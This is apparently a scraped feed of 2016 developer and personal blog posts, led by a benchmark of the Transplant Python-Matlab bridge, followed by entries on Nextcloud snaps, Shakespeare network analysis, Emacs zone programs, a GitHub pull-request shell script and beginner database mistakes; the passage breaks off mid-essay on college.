A few months ago, I talked about the performance of calling Matlab from Python. Since then, I implemented a few optimizations that make working with Transplant a lot faster:

The workload consisted of generating a bunch of random numbers (not included in the times), and sending them to Matlab for computation. This task is entirely dominated by the time it takes to transfer the data to Matlab (see table at the end for intra-language benchmarks of the same task).

As you can see, the new Transplant is significantly faster ~~for small workloads, and still a factor of two faster for larger amounts of data~~. It is now almost always a faster solution than the Matlab Engine for Python (MEfP) and Oct2Py. ~~For very large datasets, Oct2Py might be preferable, though.~~

This improvement comes from three major changes: Matlab functions are now returned as callable objects instead of ad-hoc functions, Transplant now uses MsgPack instead of JSON, and loadlibrary instead of a Mex file to call into libzmq. All of these changes are entirely under the hood, though, and the public API remains unchanged.

The callable object thing is the big one for small workloads. The advantage is that the objects will only fetch documentation if __doc__ is actually asked for. As it turns out, running help('funcname') for every function call is kind of a big overhead.

Bigger workloads however are dominated by the time it takes Matlab to decode the data. String parsing is very slow in Matlab, which is a bad thing indeed if you're planning to read a couple hundred megabytes of JSON. Thus, I replaced JSON with MsgPack, which eliminates the parsing overhead almost entirely. JSON messaging is still available, though, if you pass msgformat='json' to the constructor. Edit: Additionally, binary data is no longer encoded as base64 strings, but passed directly through MsgPack. This yields about a ten-fold performance improvement, especially for larger data sets.

Lastly, I rewrote the ZeroMQ interaction to use loadlibrary instead of a Mex file. This has no impact on processing speed at all, but you don't have to worry about compiling that C code any more.

Oh, and Transplant now works on Windows!

Here is the above data again in tabular form:

Task	New Transplant	Old Transplant	Oct2Py	MEfP	Matlab	Numpy	Octave
startup	4.8 s	5.8 s	11 ms	4.6 s
sum(randn(1,1))	3.36 ms	34.2 ms	29.6 ms	1.8 ms	9.6 μs	1.8 μs	6 μs
sum(randn(1,10))	3.71 ms	35.8 ms	30.5 ms	1.8 ms	1.8 μs	1.8 μs	9 μs
sum(randn(1,100))	3.27 ms	33.9 ms	29.5 ms	2.06 ms	2.2 μs	1.8 μs	9 μs
sum(randn(1,1000))	4.26 ms	32.7 ms	30.6 ms	9.1 ms	4.1 μs	2.3 μs	12 μs
sum(randn(1,1e4))	4.35 ms	34.5 ms	30 ms	72.2 ms	25 μs	5.8 μs	38 μs
sum(randn(1,1e5))	5.45 ms	86.1 ms	31.2 ms	712 ms	55 μs	38.6 μs	280 μs
sum(randn(1,1e6))	44.1 ms	874 ms	45.7 ms	7.21 s	430 μs	355 μs	2.2 ms
sum(randn(1,1e7))	285 ms	10.6 s	643 ms	72 s	3.5 ms	5.04 ms	22 ms

Snapping Nextcloud: The web server

kyrofa's blog — Tue, 21 Jun 2016 03:00:00 GMT

The backbone of any web application is of course the web server, so that’s where I started when snapping Nextcloud. I went with Apache as opposed to Nginx for two reasons: 1) Apache is recommended by Nextcloud (the v9 docs that I used when making this decision are lost to the dust of time, but Apache is still the recommended option in v21), and 2) I’m much more familiar with Apache than Nginx.

Automatic clustering in mgmt

The Technical Blog of James on purpleidea.com — Mon, 20 Jun 2016 15:28:51 GMT

In mgmt, deploying and managing your clustered config management infrastructure needs to be as automatic as the infrastructure you’re using mgmt to manage. With mgmt, instead of a centralized data store, we function as a distributed system, built on top of etcd and the raft protocol.

In this article, I’ll cover how this feature works.

Foreword:

Mgmt is a next generation configuration management project. If you haven’t heard of it yet, or you don’t remember why we use a distributed database, start by reading the previous articles:

Upcoming speaking In Hong Kong and South Africa

The Technical Blog of James on purpleidea.com — Mon, 20 Jun 2016 07:08:59 GMT

I’m thrilled to tell you that I’ll be speaking about mgmt in Hong Kong and South Africa. It will be my first time to both countries and my first time to Asia and Africa!

In Hong Kong I’ll be speaking at HKOSCon2016.

In South Africa I’ll be speaking at DebConf16.

I’m looking forward to meeting with many of the hard-working Debian hackers, and collaborating with them to build and promote excellent Free Software. The mgmt project considers both Fedora and Debian to be first class platforms, and parity is a primary design goal.

Installing Nextcloud can be a snap

kyrofa's blog — Mon, 20 Jun 2016 03:00:00 GMT

I’ve been an ownCloud user for years, and I recently moved to using Nextcloud, which is based upon ownCloud. Both my wife and I use it to sync our calendars and contacts across all our devices, and also use it to sync our documents, music, pictures, and videos. It caters to my paranoid nature– the idea that all that information is being saved on my own in-house server instead of someone else’s greatly pleases me.

Towards Shakespearean Social Network Analysis

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Sun, 19 Jun 2016 21:33:58 GMT

I recently had the pleasure to see a talk about the style of Shakespeare, given by Prof. Dr. Beatrix Busse and her inspired staff. One of the talks, given by Ingo Kleiber, struck a nerve in me. He talked about creating social networks from Shakespeare’s plays and analyse them in the way we analyse, well, “real” social networks.

Naturally, I needed to see for myself how fun this would be. In the subsequent sections, I am going to describe some initial considerations. I plan on neglecting my dissertation for a little bit to present a more concise write-up later on.

Where to get some data?

Luckily for us, many people have already invested large chunks of their time to make Shakespeare’s plays accessible and readable for computers. There is a whole corpus of 37 plays, in a computer-readable format, available for download. Hence, no need to do any “natural language processing” for now.

What do with it?

Some gentle prodding with Python makes it possible to extract a “co-occurrence network” from the play. How this extraction is done is somewhat subjective. In my initial attempt, following the analysis made by Ingo, I broke down the plays in individual scenes. After identifying the characters in every scene, I opted for adding an edge between two characters if they appear in the same scene. Of course, this is somewhat rough—we may never know whether they actually talk to each other. Also, I did not yet take stage directions into account. It is thus well possible that I add an edge between two characters that are never actually on the stage at the same time. This obviously needs to be improved for any “serious” analysis—from which I am very far removed anyway, by virtue of being a barbarian in the ways of linguistics!

So, having extracted all those edges, I decided on building a “adjacency matrix” where edge weights indicate how often characters are part of the same scene. This permits me to draw really nice network diagrams, such as this one here (which comes from Macbeth, one of my most favourite plays):

Nodes have been scaled and coloured according to their degree, just like the edges. The darker the colour, the more important the character. Not too surprisingly, Macbeth itself appears to be important to this play. Who could have anticipated this? The graph layout algorithm—a simple force-directed scheme—also serves to separate the play quite well. The parts with the “Weird Sisters” are clearly shown to be somewhat different from the rest of the action.

Density

While this looks nice and all, it is not exactly informative. We need to compare more plays with and among each other! To do just that, I calculated the graph density—the ratio between the actual amount of edges and the total number of possible edges—for every play. The graph density measures how, well, dense the graph is in terms of edges. In other words, the more the graph resembles a complete graph, the higher its density will be. In theatrical terms, I imagine that a dense co-occurrence network indicates many plot lines that are interwoven and converge later on, prompting literally every character to be connected to the other characters.

To perform some exploratory data analysis on Shakespeare’s plays, let us take all plays, tag them according to three types (comedy, tragedy, and history), which the corpus fortunately provides on its own, and plot graph density against the number of characters. This is how it looks like:

Finally, some nice patterns! Notice that all the historical plays—such as Henry V—are characterized by having a rather low density (less than 0.4) but, for the most part, a large amount of characters. The comedies, by contrast, have a lower amount of characters and a substantially higher density. The most dense play, in this representation, is Love’s Labour’s Lost, one of Shakespeare’s early comedies. The most sparse one is Pericles, Prince of Tyre, where the authorship of Shakespeare is somewhat unclear.

What to make of this?

It is certainly interesting to see that some patterns start to emerge when one uses statistical or data analysis techniques to analyse a whole corpus of works. There are lots of interesting applications here. I did not include any dates, for example. How do the works change over time? Are plays of later Shakespearean periods less dense or more dense?

I am very much looking forward to doing more with these data.

Since I did not release any code so far, please take a look at Ingo’s repository, where he thankfully provides his sample code to create social networks from the plays.

Let the age of Bard Data begin!

The art of being chill

D13V — Sun, 19 Jun 2016 03:00:00 GMT

I was in an Uber taxi, discussing the economics of driving for Uber and ideas about how to learn coding with the driver. A car cut in front of ours and forced my driver to slow down.

I switched the topic “… he didn’t have the right of way”. I was purposefully trying not to react negatively and to not get angry. I though I was doing pretty good. But then the driver actually went even further “It doesn’t bother me. If I got bothered by stuff like that I’d come back home exhausted and nervous by the end of the day.”

This driver gave a lesson in being calm and composed that I wouldn’t be able to receive from a Buddhist monk who had been meditating for a month. The driver had figured out that he should not minimize annoyances by others, he must stop getting annoyed himself.

As a side effect, he was able to save his precious sanity and energy by decided not to get annoyed and affected by the actions of others. To simply accept that unfortunate things will happen, and react by staying calm not just externally, but also internally.

We are a lesser version of ourselves when we get annoyed or angry. But we have the power to choose not to be angry and not to be annoyed. Especially when losing our time and money, or facing danger or a hard situation. We just gotta stay chill no matter what.

Starting a Snap site with Stack and Persistent

Dan Palmer — Sun, 19 Jun 2016 02:00:00 GMT

Following on from my previous post about Haskell web frameworks, I’ve dived into making a non-trivial web application, with type-safe database access.

Why Team Happiness can be the Worst Thing to Aim for

Jaime Martinez — Sat, 18 Jun 2016 16:04:14 GMT

Very interesting talk about organizations, teams and viewing problems in equanimity instead?of letting emotions run with you / other and lettings the ego have its way with us.

The post Why Team Happiness can be the Worst Thing to Aim for appeared first on Jaime Martinez.

The never ending trail

D13V — Sat, 18 Jun 2016 03:00:00 GMT

About a week ago I was near crater lake and went hiking on a portion of the pacific crest trail (PCT). I expected that the snow will have melted by June. Instead, the forest floor was covered by nearly a meter of snow and we had to walk through snow, and follow small markers posted on the trees in order to keep on the trail.

We went about four or five miles into the trail. At every step we needed to keep looking up on the trunks for the blue diamond-shaped signs which marked the PCT. Instead of looking down at our feet, we had to look up and observe every obstacle.

For six hours we were fully immersed on the trail. It felt infinite. At every step we had to pay our fullest attention to the forest, because if we didn’t, we would have ended up lost. This was not a heavy season, in fact at some parts of the trail, the only footsteps in the snow were ours.

I wondered what would it feel like to be hiking on this trail for days. Day after day, everything around is forest. No other people to worry about and no Internet. I’d wake up in the forest, walk all day in the forest, camp in the forest. I’ll repeat and repeat and repeat. I would forget about the rest of the civilization.

A trail head by the road would become just another marker on the way. There might be cities, campgrounds, rivers close by, but they are not part of the trail. They wouldn’t exist for me, and I wouldn’t even be aware of what I’m missing.

And maybe that’s the point. A trail like the PCT, more than two thousand miles long, would take multiple months to finish. This seems physically painful, but even more devastating mentally. I watched the movie “Wild”, based on a true story, and the heroine started on the PCT without any training or wilderness knowledge. And yet, she was able to complete it, while other more experienced hikers gave up. She had a strong emotional decision to continue. It was a hard moment in her life and that trail was the way forward. Physically it was not a life-and-death, but mentally, it was.

An extreme situation tests the limits of our emotional decision. I ran a marathon, but I was not fully prepared physically. At mile 22 I was done. I couldn’t move any more. I hit the wall. But I had determined to finish because I wanted to know how does it feel to be able to finish a marathon. So I kept going, often walking, but I still finished. I finished because I made a strong emotional decision to finish, not because I was in a great shape.

People who finish the PCT, would cover a marathon-sized distance every day, for months. Their emotional decision is a lot stronger.

On an endless trail, it is not possible to half ass the way through. If anyone does, you they’d get lost, or slip and die.

I think that the never ending trail is a good metaphor for life. I might be just following the marking signs, or might have an idea of where the trail will go but don’t know the exact route. Or I might decide to step away from the path. Either case, might as well enjoy every step and not rush through it.

To fully go through it requires a strong mental dedication. In the absence of grave personal shocks, where is the motivation source? I don’t know for sure, but I’m guessing that I can find motivation in life itself. Remembering that every trail has an end eventually, and making the most of the way.

Sense8: Season 1

🦉 olshansky 🦁 — Fri, 17 Jun 2016 19:38:10 GMT

Olshansky's review of Sense8: Season 1

Pushing Bits with Python

Untrod — Fri, 17 Jun 2016 10:00:00 GMT

When was the last time you needed to directly manipulate a bunch of binary data? Most engineers run across it only in the context of bit flags and masks in C++ or Java.

It's a little rarer to muck about with direct binary file data. It's nonetheless quite a bit …

Emacs and emotional vocab

xenodium.com @alvaro — Fri, 17 Jun 2016 03:00:00 GMT

Having read Are You in Despair? That’s Good, I was encouraged to expand my emotional vocabulary. As a zone.el fan (checkout nyan, sl, and rainbow), I looked into writing a zone program. When zone-when-idle is set, zone acts as a screensaver of sorts. We can use this to display random emotional vocab whenever Emacs is idle for a period of time. Let's get to it…

Zone keeps a list of programs to choose from when kicked off. Below is a basic zone-hello program, along with an interactive command for previewing. Not much to these. The tiny program prepares the screen for zoning and inserts text while no input is pending.

(defun zone-hello ()
  (delete-other-windows)
  (setq mode-line-format nil)
  (zone-fill-out-screen (window-width) (window-height))
  (delete-region (point-min) (point-max))
  (goto-char (point-min))
  (while (not (input-pending-p))
    (insert "hello zone\n")
    (zone-park/sit-for (point-min) 0.2)))

(defun zone-hello-preview ()
  (interactive)
  (let ((zone-programs [zone-hello]))
    (zone)))

Here's what zone-hello looks like:

Back to improving our emotional vocabulary, we'll need a dictionary for our goal. A quick search yields a potential list of words. We can use WordNet to define them while offline. These two sources will do for now. We tie it all together in zone-words.el and the resulting zone program looks as follow:

UPDATE: Just came across Animations With Emacs. A post with awesome zone examples.

Can hybrid apps cut your mobile development costs?

Gosha Spark — Fri, 17 Jun 2016 03:00:00 GMT

Computer Systems: A Programmer's Perspective

june.kim — Wed, 15 Jun 2016 03:00:00 GMT

EveGenie makes Eve schema generation a breeze

Nicola Iarocci — Wed, 15 Jun 2016 03:00:00 GMT

Released by the nice folks at Drud, EveGenie is a tool for making Eve schema generation easier.

Eve’s schema definitions are full of features, but can take a good amount of time to create when dealing with lots of complex resources. From our experience, it’s often helpful to describe an endpoint in JSON before creating it as an Eve schema. This allows you to make quick decisions about the structure of your entities without spending time moving schema code around. This is where EveGenie comes in.

Teaching with Matlab Live Scripts

bastibe.de — Wed, 15 Jun 2016 03:00:00 GMT

For a few years now, I have been teaching programming courses using notebooks. A notebook is an interactive document that can contain code, results, graphs, math, and prose. It is the perfect teaching tool:

You can combine introductory resources with application examples, assignments, and results. And after the lecture, students can refer to these notebooks at their leisure, and re-run example code, or try different approaches with known data.

The first time I saw this was with the Jupyter notebook (née IPython notebook). I immediately used it for teaching an introductory programming course in Python.

Later, I took over a Matlab course, but Matlab lacked a notebook. So for the next two years of teaching Matlab, I hacked up a small IPython extension that allowed me to run Matlab code in an Jupyter notebook as a cell magic.

Now, with 2016a, Matlab introduced Live Scripts, which is Mathworkian for notebook. This blog post is about how Live Scripts compare to Jupyter notebooks.

First off, Live Scripts work. The basic functionality is there: Code, prose, figures, and math can be saved in one document; The notebook can be exported as PDF and HTML, and Students can download the notebook and play with it. This latter part was not possible with my homegrown solution earlier.

However, Live Scripts are new, and still contain a number of bugs. You can't customize figure sizes, formatting options are very basic, image rendering is terrible, and math rendering using LaTeX is of poor quality and limited. Also, using Live Scripts on a retina Mac is borderline impossible: Matlab crashes on screen resolution changes (i.e. connecting a projector), Live Scripts render REALLY slowly (type a word, watch the characters crawl onto the screen one by one), and all figures export in twice their intended size (fixed in 2016b). You can work around some of these issues by starting Matlab in Low Resolution Mode.

No doubt some of these issues are going to get addressed in future releases. 2016b added script-local functions, which I read mostly as "you can now write functions in Live Scripts", and autocorrection-like text replacements that convert Markdown formatting into formatted text. This is highly appreciated.

Additionally though, here are a few features I would love to see:

Nested lists, and lists entries that contain newlines (i.e. differentiate between line breaks and paragraph breaks).
Indented text, for quoting things, or to work around the lack of multi-line list entries.
More headline levels.
Magics. This is probably a long shot, but line/cell magics in Jupyter notebooks are really useful.

Still, all griping aside, I want to reiterate that Live Scripts work. They aren't quite as nice as Jupyter notebooks, but they serve their purpose, and are a tremendously useful teaching tool.

Writing Again

Sam Solomon — Wed, 15 Jun 2016 03:00:00 GMT

It’s funny. When you learn to ride a bike—you’ve got it. Hop back on a bike after a few years and you still remember.

Change to position fixed on iOS Safari while scrolling

Muffin Man — Wed, 15 Jun 2016 03:00:00 GMT

If you ever had to fix element on scroll, you probably had an issue on iOS Safari (and other mobile devices). Element will usually flicker, and disappear until scrolling has stopped completely.

Just force GPU acceleration by adding transform: translate3d(0,0,0); to your element.

You will have something like this:

.Element-header {
  transform: translate3d(0,0,0);
}

.Element-header--fixed {
  top: 0;
  position: fixed;
}

Enjoy ¯\_(ツ)_/¯

Update, if the element inside fixed one flickers #

In the comments Matt made a great tip, so I'm adding it here as well:

If you are styling the element within fixed element, you need to apply the translate3d hack to the nested element in order for it to not flicker/disappear.

Thanks Matt!

Dimes, demons, and desperation

Junk Heap Homotopy — Tue, 14 Jun 2016 09:09:00 GMT

Note: I'm currently publishing pieces from my vault. This was supposed to be published on 2016 July 31 when I was on the fence about dropping out. In the end, I didn't.n. a carbohydrate-rich environment composed of "virtual reality", "startups", and a bunch of empty space in betweenn. where I currently find myself in

What's Wrong with WWDC 2016 Keynote?

Ash's Blog — Tue, 14 Jun 2016 03:00:00 GMT

An iOS developer's critique of Apple's 2016 keynote — when emojis and animations overshadowed the innovations developers actually needed.

Enabling Yubikey U2F support in Linux

Thomas Hunter II — Tue, 14 Jun 2016 03:00:00 GMT

Links - June 13th, 2016

Avy Faingezicht — Mon, 13 Jun 2016 03:00:00 GMT

Here and There

Avy Faingezicht — Sun, 12 Jun 2016 03:00:00 GMT

It has been a while since my last post, so here is some random stuff from the last month and a half around San Francisco.

Half ass

D13V — Sun, 12 Jun 2016 03:00:00 GMT

What does it mean to half-ass something? It means to do less than you’re able to do. To cut corners. To be mediocre. To sacrifice “being effective” for “being efficient”.

I have a hunch that half-assing any task is not worth it. That it is better to just drop, abort and cancel tasks and obligations which we cannot do at maximum quality.

Lets look at an example. A young professional usually has a demanding job and personal relationships, but may also have other hobbies and obligations. They might enjoy doing sports, following up with TV shows, cooking, taking care of a pet, traveling. When you add up all of these, it is a lot. If they try to do all of these to the greatest extent possible, they simply would not have enough hours in the day.

If they drop one of the these projects, then suddenly they have more freedom and capacity to dedicate to their other activities others.

I believe that it is more rewarding to spend our effort in making things that are already good to be great, instead of getting mediocre things to be better.

If the same yuppie has multiple projects at work, are they more productive than if they have a single project? No. They may be more busy, but having to split their attention causes a lot of overhead. Every time the yuppie switches their main focus, they are not productive until they get to remember all the details.

They are half-assing both projects.

Instead of having 8 or 10 productive hours, they only have 6 or 8. And that’s a generous estimate. Furthermore, since they only spend less than half the time and effort on each project, they don’t get far. It would take at least double the time to complete each project.

From the employer’s view point, this slowness is bad. Widgets and features take longer to reach customers, and time is money. The manager might delegate one of the projects to another employee, or to ask the yuppie to do their projects in serial, and not in parallel. Doing the two projects in serial is more efficient and will result in earlier completion date for both projects. All features and all widgets will reach the customer sooner if the yuppie does them in serial.

Here is the caveat. Both the yuppie, and their employer need to be chill. If they worry about the next project, they will not focus on the current project and will make things slower.

To know the second project is there but to not worry about it requires discipline. This is hard. I am often a bit ADHD, so it is easy for me to get distracted. And when I get distracted, I essentially forfeit my time. Of course, I take breaks. But I like it best when the break I took helps me return invigorated to my activity, instead of getting me to switch my focus away from the task.

Trying to do too many different things at once and half-assing is not practical. But even more against it, I think it is a bad way to live. I get satisfaction of doing things well. And that’s the best reason for me to simplify and to do fewer things better.

One of the moments I remember fondly, is when I finished writing my master thesis. It is an OK thesis, it is not the most amazing one in the world, and it doesn’t even stand out among the other theses written in the same year. But to get it done, I worked harder than I ever had worked before and getting it done was the largest, most sophisticated achievement in my life until then.

I did not half-ass it. Not according to my abilities then. I worked as hard and as thoughtful as I could, and then more. If I need to do something similar now, I can half-ass it and get a better overall result. But I like to grade myself against the limit of my abilities. If I am not reaching it, life is dull.

What I yearn for is life that’s full of moments where I reach beyond what I thought was 100%. The full-ass life.

C++ variadic templates

Studiofreya SSG Site — Sat, 11 Jun 2016 21:15:41 GMT

Variadic templates

Variadic templates are templates accepting any number of template parameters.

To understand the need for variadic templates, we’ll have to look at the history. As far as my research can tell, the first C compiler to support variadic methods was the WatCom C compiler from 1990s the first to support variable number of elements.

The concept of having variable number of elements, is much older. It’s a mathematical term for functions taking any number of parameters, like the sum of a group of numbers.

June 2016 Project List

Venam's Blog — Patrick Louis (Lebanon) — Sat, 11 Jun 2016 20:00:00 GMT

Hello fellow readers, In this post I’ll list some of the projects and experiments I’m working on or just finished. My last projects update was in February.

Get a Job

🦉 olshansky 🦁 — Sat, 11 Jun 2016 07:46:13 GMT

Olshansky's review of Get a Job

Expansion

june.kim — Sat, 11 Jun 2016 03:00:00 GMT

2016-06-11

ho.dges.online — Sat, 11 Jun 2016 03:00:00 GMT

This shot took 86 attempts to get as trying to co-ordinate the penguins and the children proved… challenging.

Taxi Strava

Ryan Compton — Sat, 11 Jun 2016 03:00:00 GMT

Last year Chris Whong used a foil request to obtain a dataset with information on the locations, times, and medallions for 173 million NYC cab rides. I’m interested is determining which cabs are the fastest cabs are and how quickly they can get between various parts of the city.

Check for Pull Requests in All Your Repos

Pete's Points — Thu, 09 Jun 2016 18:11:35 GMT

My current work involves many microservice (ish) node.js projects. Each has its own git repository hosted on github. My team follows a pull request workflow requiring all code to hit our main branch via pull request. We have slack chat integration so we can see when a new pull request is created, but even with that I found myself confused about whether or not there were any pending pull requests that I needed to review.

Scripting to the rescue! Here's what I did to quickly see a list of each repository and the title of each pending pull request. I hacked this together with cURL, an npm command line module named json, and a few lines of shell scripts. Here's the breakdown:

Log in to your github account and visit the personal access tokens settings page
Click the button to generate a new access token. Give it a clear name like "Pull Request Status Script". Check the "repo" scope checkbox
- I believe this is the most specific/limited/correct permission, but if you know a way to grant read-only access to pull requests in a private repo, please let me know via disqus comment below.
Click "Generate Token", copy it, and save it to a file. You can do this on OS X with the command line pbpaste utility. For example: pbpaste > ~/.github-pr-status-token.txt
Tighten permissions on that: chmod 400 ~/.github-pr-status-token.txt
Install the npm module json: npm install -g json

Now you're ready to add this shell script to your shell profile:

check_pull_requests() {
  local organization="YourGithubOrg" # Edit this
  for repo in repo-1 repo-2 repo-3 repo-4; do # Edit this repo list
    echo "* ${repo}"
    curl \
      --silent \
      --header "Authorization: token $(cat ~/.github-pr-status-token.txt)" \
      "https://api.github.com/repos/${organization}/${repo}/pulls" \
      | json -a title html_url
  done
}

The output will look something like this:

* repo-1
Update config for Heroku https://github.com/YourGithubOrg/repo-1/pull/13
* repo-2
* repo-3
Fix Bug #42 https://github.com/YourGithubOrg/repo-3/pull/42
* repo-4

I hope you find this useful. Get those PRs reviewed quickly!

A Simple Content-Based Recommendation Engine in Python

Untrod — Thu, 09 Jun 2016 15:15:00 GMT

Let's pretend we need to build a recommendation engine for an eCommerce web site.

There are basically two approaches you can take: content-based and collaborative-filtering. We'll look at some pros and cons of each approach, and then we'll dig into a simple implementation (ready for deployment on Heroku!) of a …

Chatting Up

Playground — Thu, 09 Jun 2016 03:00:00 GMT

So, my Gamification of Life, has grown into a much bigger project than I thought it was. Now, the gamification part is dropping off and the concept of personal analytics of my life is gaining. Basically, I want to collect data about myself and analyse it to be kinda self-aware. At the end, make a dashboard that shows me the basic stats and maybe help find patterns where I can improve myself. This post will talk about the chats I have been having for 4-5 years on various IMs mainly, WhatsApp and Facebook.

To the lady on the bus

june.kim — Wed, 08 Jun 2016 03:00:00 GMT

Eve REST API Framework v0.6.4 now available

Nicola Iarocci — Wed, 08 Jun 2016 03:00:00 GMT

Quick note to let you all know that Eve v0.6.4 is out with a few significant updates. Thanks to James Stewart for contributing to this release.

Work on v0.7, which will include MongoDB Aggregation Framework support (docs) and many other new features, continues steadily.

Five mistakes beginners make when working with databases

CRAIG KERSTIENS — Tue, 07 Jun 2016 23:55:56 GMT

When you start out as a developer there’s an overwhelming amount of things to grasp. First there’s the language itself, then all the quirks of the specific framework you’re using,and after that (or maybe before) we’ll throw front-end development into the mix, and somewhere along the line you have to decide to store your data somewhere.

Early on, with so many things to quickly master, the database tends to be an after-though in application design (perhaps because it doesn’t make an impact to end user experience). As a result there’s a number of bad practices that tend to get picked up when working with databases, here’s a rundown of just a few.

1. Storing images

Images don’t belong in your database. Just because you can do something, it doesn’t mean you should.Images take up a massive amount of space in databases, and slow applications down by unnecessarily eating your database’s IO resources. The most common way this mistake occurs is when new developers base64 encode an image and store it in a database large text/blob field.

The better approach is to upload your images directly to a service like Amazon S3, then store the image URL (hosted by Amazon) in your database as a text field. This way, each time you need to load an image, you need to simply output the image URL into a valid <img> tag. This will greatly improve website responsiveness, and generally help scale web applications.

2. Limit/Offset

Pagination is extremely common in a number of applications.As soon as you start to learn SQL, the most straight-forward way to handle pagination is to ORDER BY some column then LIMIT the number of results returned, and for each extra page you’ll OFFSET by so many records. This all seems entirely logical, until you realize at any moderate scale:

The load this exerts on your database will be painful.
It isn’t deterministic, should records change as the user flips between pages.

The unfortunate part is: pagination is quite complex, and there isn’t a one-size-fits-all solution. For more information on solving pagination problems, you can check out numerous options

3. Integer primary keys

The default for almost all ORMs when creating a primary key is to create a serial field. This is a sequence that auto-increments and then you use that number as your primary key. This seems straight forward as an admin, because you can browse from /users/1 to /users/2, etc. And for most applications this can often be fine. And for most applications, this is fine. But, you’ll soon realize as you start to scale that integers primary keys can be exhausted, and are not ideal for large-scale systems. Further you’re reliant on that single system generating your keys. If a time comes when you have to scale the pain here will be huge. The better approach is to start taking advantage of UUIDs from the start.

There’s also the bonus advantage of not secretly showcasing how many users/listings/whatever the key references directly to users on accident.

4. Default values on new columns

No matter how long you’ve been at it you won’t get the perfect schema on day 1. It’s better to think of database schemas as continuously evolving documents. Fortunately, it’s easy to add a column to your database, but: it’s also easy to do this in a horrific way. By default, if you just add a column it’ll generally allow NULL values. This operation is fast, but most applications don’t truly want null values in their data, instead they want to set the default value.

If you do add a column with a default value on the table, this will trigger a full re-write of your table. Note: this is very bad for any sizable table on an application. Instead, it’s far better to allow null values at first so the operation is instant, then set your default, and then, with a background process go and retroactively update the data.

This is more complicated than it should be, but fortunately there are some handy guides to help.

5. Over normalization

As you start to learn about normalization it feels like the right thing to do. You create a posts table, which contains authors, and each post belongs in a category. So you create a categories table, and then you create a join table post_categories. At the real root of it there’s not anything fundamentally wrong with normalizing your data, but at a certain point there are diminishing returns.

In the above case categories could very easily just be an array of varchar fields on a post. Normalization makes plenty of sense, but thinking through it a bit more every time you have a many to many table and wondering if you really need a full table on both sides is worth giving a second thought.

Edit: It’s probably worth saying that under-normalization is also a problem as well. There isn’t a one size fits all here. In general there are times where it does make sense to have a completely de-normalized and a completely normalized approach. As @fuzzychef described: “use an appropriate amount of normalization i.e. The goldilocks principle”

Conclusion

When I asked about this on twitter I got a pretty great responses, but they were all over the map. From the basics of never looking at the queries the ORM is generating, to much more advanced topics such as isolation levels. The one I didn’t hit on that does seem to be a worthwhile one for anyone building a real world app is indexing. Knowing how indexing works, and understanding what indexes you need to create is a critical part of getting good database performance. There’s a number of posts on indexing that teach the basics, as well as practical steps for analyzing performance with Postgres.

In general, I encourage you to treat the database as another tool in your chest as opposed to a necessary evil, but hopefully, the above tips will at least prevent you from making some initial mistakes as you dig in as a beginner.

Special thanks to @mdeggies and @rdegges for the initial conversation to spark the post at PyCon.

On Maps

infrequent oscillations — Mon, 06 Jun 2016 13:33:05 GMT

In which we criticise Apple Maps.

First week of Juneathon

infrequent oscillations — Mon, 06 Jun 2016 11:44:33 GMT

Being lazy and repurposing the Gyroscope report.

Meet Eve-Swagger the swagger.io extension for your Eve powered REST API

Nicola Iarocci — Mon, 06 Jun 2016 03:00:00 GMT

Eve-Swagger is a swagger.io extension for Eve powered RESTful APIs. It has been around for a while on GitHub but I never managed to officially release it. So rejoice! it is now available on PyPI.

But what is Swagger, and why is it useful to your RESTful API? With a Swagger-enabled API you can get interactive documentation, client SDK generation and discoverability, all for free. From Swagger website:

Swagger is a simple yet powerful representation of your RESTful API. With the largest ecosystem of API tooling on the planet, thousands of developers are supporting Swagger in almost every modern programming language and deployment environment. With a Swagger-enabled API, you get interactive documentation, client SDK generation and discoverability.

Passengers

🦉 olshansky 🦁 — Sun, 05 Jun 2016 14:20:27 GMT

Olshansky's review of Passengers

Hexiamonds

Blog on blog.gnoack.org — Sun, 05 Jun 2016 14:00:00 GMT

I made 3D models for Hexiamond puzzle pieces, which can be downloaded here (STL format).

Each Hexiamond piece consists of 6 triangles, which yields 12 different pieces when you try out all combinations.

3d model of a Hexiamond

More background information and some interesting puzzles to try can be found on this nice page by David Goodger: http://puzzler.sourceforge.net/docs/hexiamonds.html

Zootopia

🦉 olshansky 🦁 — Sun, 05 Jun 2016 10:37:55 GMT

Olshansky's review of Zootopia

A message for high schoolers

Josh Thompson — Sun, 05 Jun 2016 03:00:00 GMT

tl;dr: Before you start looking at colleges, be able to discuss coherently the following three topics:

Credentialism
Signaling
Opportunity cost

If you can wrap your head around that, you’ll be ahead of most of your peers. I’ve got a few links for you farther down in this article.

What you should learn in college, or at least know by the time you graduate:

time management
how to interact with peers as you might in a professional environment
research skills
problem solving
How to write a paper
How to get along with roommates
How to manage money
How to party
How to shirk the minimum age drinking limit
“How to think” (or so says the New York Times)
How to deal with people you don’t like
How to put up with arbitrary rules
How to deal with often arcane syllubi
How to prepare for tests
How to identify the expectations of people of influence, and then meet those expectations
How to live within your means
How to file your taxes
How to conduct a job search
How to perform well at work
How to cook simple, easy, healthy, cost-effective meals
How to budget (and stick to it)
How to set up and contribute to retirement accounts
How to change a tire
How to identify knowledgeable people who are not compelled by their job to help you, and solicit their help

Items from the above list you can learn without going to college:

time management
how to interact with peers as you might in a professional environment
research skills
problem solving
How to write a paper
How to get along with roommates
How to manage money
How to party
How to shirk the minimum age drinking limit
“How to think” (or so says the New York Times)
How to deal with people you don’t like
How to put up with arbitrary rules
How to deal with often arcane syllubi
How to prepare for tests
How to identify the expectations of people of influence, and then meet those expectations
How to live within your means
How to file your taxes
How to conduct a job search
How to perform well at work
How to cook simple, easy, healthy, cost-effective meals
How to budget (and stick to it)
How to set up and contribute to retirement accounts
How to change a tire
How to identify knowledgeable people who are not compelled by their job to help you, and solicit their help

Items from list one not on list two:

OK, Josh, are you arguing that no one should go to college?

Not at all, anonymous internet person.

I think college is a good fit for lots of people, as long as they are looking for something that’s not on the above list. If they are looking for something that can be had only by going to college, they should do two things:

Evaluate if the thing is really worth having
Determine if it can be had in any other way

For example, so many people still stay the degree matters. “Oh, you can’t get a certain job without having a degree” or “you can’t get promoted beyond a certain level without a degree.”

This may be true, in which case you’ve got research to do. Interview people who have done well for themselves, and find out how much of it could have happened without a degree.

Decide if it’s possible that you don’t want to work for a company that requires a degree.

Just because a job requires a degree doesn’t mean that it requires a degree. A company that publishes this requirement often doesn’t actually put it in practice, which means you don’t need a degree to work at that company. (See “signaling, qualifying applicants”)

Conversely, you should not aspire to work at a company that enforces this requirement. College is mostly signaling and credentialism. From EconLib:

